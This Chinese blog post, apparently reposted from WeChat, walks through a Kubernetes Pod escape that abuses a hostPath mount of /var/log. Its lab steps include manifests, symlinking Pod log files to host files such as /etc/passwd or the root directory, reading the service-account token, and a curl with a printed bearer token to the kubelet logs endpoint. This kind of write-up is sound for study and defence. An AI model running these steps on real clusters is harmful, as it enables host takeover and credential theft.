逃逸场景
前提是处在一个挂载了节点主机 /var/log 目录的 Pod 中,或者,能够创建一个 Pod 并挂载节点主机的 /var/log 目录。
当我们拥有查看 Pod Log 的权限就能不受 Pod 内的安全限制获取到节点主机的任何文件(需要知道该文件的路径),比如主机的SSH私钥、各类配置文件、凭证信息等;当我们拥有查看 Node Log 的权限就能直接获取节点主机的全部文件系统。
Kubernetes 可利用的版本?应该是全版本范围。
通过 GitHub 搜索,可见这种危险配置范围很广。
https://github.com/search?q=hostPath%3A+++path%3A+%2Fvar%2Flog&type=code
技术细节
kubernetes 如何查看日志
下图展示了 kubectl logs <pod_name>
的原理,后文会对此图进行实际的解释,
logs原理图 https://www.aquasec.com/blog/kubernetes-security-pod-escape-log-mounts/
当执行前文的命令后,kubelet 会在节点主机上的 /var/log 目录中创建一个目录结构,该结构用于表示节点上的 Pod,每个 Pod 在节点主机目录结构中都有一个相关的目录,
/var/log/pods/<命名空间>_<pod名称>_<podUID>
目录中有 *.log 文件 实际上是一个符号链接(logs原理图中①处),这个符号链接连接到位于 /var/lib/docker/containers
目录中的容器日志文件,容器日志文件通常存储在这个目录中。(这一切都是节点主机上的)
kubelet 暴露了一个 /logs/ 端点(logs原理图中②处),它只在主机的 /var/log 目录中(logs原理图中③处)操作一个 HTTP 文件服务器,这个文件服务器使得日志文件对来自 API Server 的请求可访问。
符号链接到主机某个敏感文件
由上文【 kubernetes 如何查看日志】可得一个场景,当我们可以部署或者控制了一个挂载到主机 /var/log 的 Pod,则该 Pod 将能够访问主机上所有 Pod 的日志文件。更进一步,我们在 Pod 上替换 log 文件的符号链接,将其替换为指向 /etc/shadow 等主机上敏感文件的符号链接。
实验环境 K3S,先创建一个 Pod,将节点主机的 /var/log 目录挂载到 Pod /var/log 上,
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
metadata:
name: mypod
spec:
volumes:
name: log-volume
hostPath:
path: /var/log
containers:
name: mycontainer
image: ubuntu
command: ["sleep", "infinity"]
volumeMounts:
name: log-volume
mountPath: /var/log
EOF
进入 Pod 操作,
kubectl exec -it mypod -- /bin/bash
在 Pod 中将下面符号链接修改为 0.log -> /etc/passwd
,
0.log -> /var/lib/docker/containers/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58-json.log
root@mypod:/# ls -l /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log
lrwxrwxrwx 1 root root 165 Feb 28 01:33 /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log -> /var/lib/docker/containers/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58/5ba89664e3f9ad5bcad8af9ac1d7c7349947fd1d731d6fcf6411544c4e234a58-json.log
root@mypod:/#
root@mypod:/# rm /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log
root@mypod:/# ln -s /etc/passwd /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log
root@mypod:/# ls -l /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log
lrwxrwxrwx 1 root root 11 Feb 28 01:44 /var/log/pods/default_mypod_dd41710f-5c4d-41a5-a20a-125b02805e7c/mycontainer/0.log -> /etc/passwd
root@mypod:/#
使用 kubectl logs mypod
查看该 Pod 日志,所以我们需要有查看 Pod log 的权限。kubectl 在读取第一行之后报错,因为它需要 JSON 格式,可以加 --tail=10
指定返回 Pod 的最后10行日志,即可读取到节点主机 /etc/passwd
文件中其他行数据,kubectl logs mypod --tail=1
,下图中可得主机节点最后一个用户配置是 username:x:1001:1001::/home/username:/bin/bash
需要注意的是,如果你在 Pod 中直接操作 0.log 文件,实际上是在操作 Pod 中的 /etc/passwd
,而不是主机节点的,无意义。
kubelet 是运行在节点上的 Kubernetes 组件之一,通常以 root 权限运行。这使得 kubelet 具有对节点上文件系统的读取权限。
由于 kubelet 会跟随符号链接,攻击者可以通过在 Pod 内创建符号链接来利用 kubelet 的 root 权限读取主机节点上的任何文件,而不受 Pod 内的安全限制。
符号链接到主机整个文件系统
创建相关模拟环境,
kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
apiGroups: [""]
resources:
nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: mypod
spec:
serviceAccountName: logger
containers:
name: mycontainer
image: alpine
command: ["sleep", "infinity"]
volumeMounts:
name: logs
mountPath: /var/log/host
volumes:
name: logs
hostPath:
path: /var/log/
type: Directory
EOF
进入 Pod 操作,
kubectl exec -it mypod -- /bin/sh
添加符号链接,
ln -s / /var/log/host/root_link
ls -l /var/log/host/root_link
安装 curl,问就是 BusyBox 的 wget 有问题(alpine 容器以 BusyBox 为基础的),
sed -i 's/dl-cdn.alpinelinux.org/mirrors.ustc.edu.cn/g' /etc/apk/repositories
apk add curl
获取 kubelet 的地址,在默认情况下,kubelet 的地址会被注入到 Pod 内的环境变量中,
env | grep KUBERNETES_有误,应用图片中获取kubelet地址
获取 Pod 的 token,该身份具备对于 nodes/log 的 [get list watch] 权限,
cat /var/run/secrets/kubernetes.io/serviceaccount/token
获取宿主机(节点主机)的根目录以及hostname文件信息,
curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImhQWmVMNXVyU254ZlFJOGNKMnVVa05HSWhiRnZQdlo4UmdZdWdRSFV0aUUifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiLCJrM3MiXSwiZXhwIjoxNzQwNjM2Nzc1LCJpYXQiOjE3MDkxMDA3NzUsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJteXBvZCIsInVpZCI6ImY4ZGJmODlmLWNiZjAtNDAxMi1iZjQ0LWNhOWJmM2ExZjdhMiJ9LCJzZXJ2aWNlYWNjb3VudCI6eyJuYW1lIjoibG9nZ2VyIiwidWlkIjoiOWYxNjc5YmQtNGFmOC00ZDIwLWIwMjctNzQzMmZiMzM2M2VmIn0sIndhcm5hZnRlciI6MTcwOTEwNDM4Mn0sIm5iZiI6MTcwOTEwMDc3NSwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmRlZmF1bHQ6bG9nZ2VyIn0.nSR1ZRfE2R3YXM9la-cLO9QHqrho7N7iX4kVFTYgD0l5-IY_aKLKEBeXgsrf7rDT_bsSaQqQW0B4a4RXd5KikTwSq9dPt4ObJVw7-qWgk8034XsZmCWQ-AK_tuS1AvKibuDvz0WRachP6Oaw43EMmuGKXZFrT2zOitDAndSDhGPajTrI4VmtzYdlD_tvawVMKP60hZuCVhx21x2j4Idk35MfSQ7lTtC81J7bkSl1xwT04W8jmESEJXUB1-vCKSvMPPUiNv0LX9eH8y-Dd9vXQXNZr2fmRmUX8wTQ3MztqEbqj545-Pr4ojYZR9-ah-sNvAZDwWURV4PXp_rLJdl_tA' 'https://10.42.0.1:10250/logs/root_link/etc/hostname'
参考
https://www.aquasec.com/blog/kubernetes-security-pod-escape-log-mounts/
https://jackleadford.github.io/containers/2020/03/06/pvpost.html
https://github.com/danielsagi/kube-pod-escape
原文始发于微信公众号(安全小将李坦然):Pod 挂载节点 /var/log 导致的容器逃逸
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论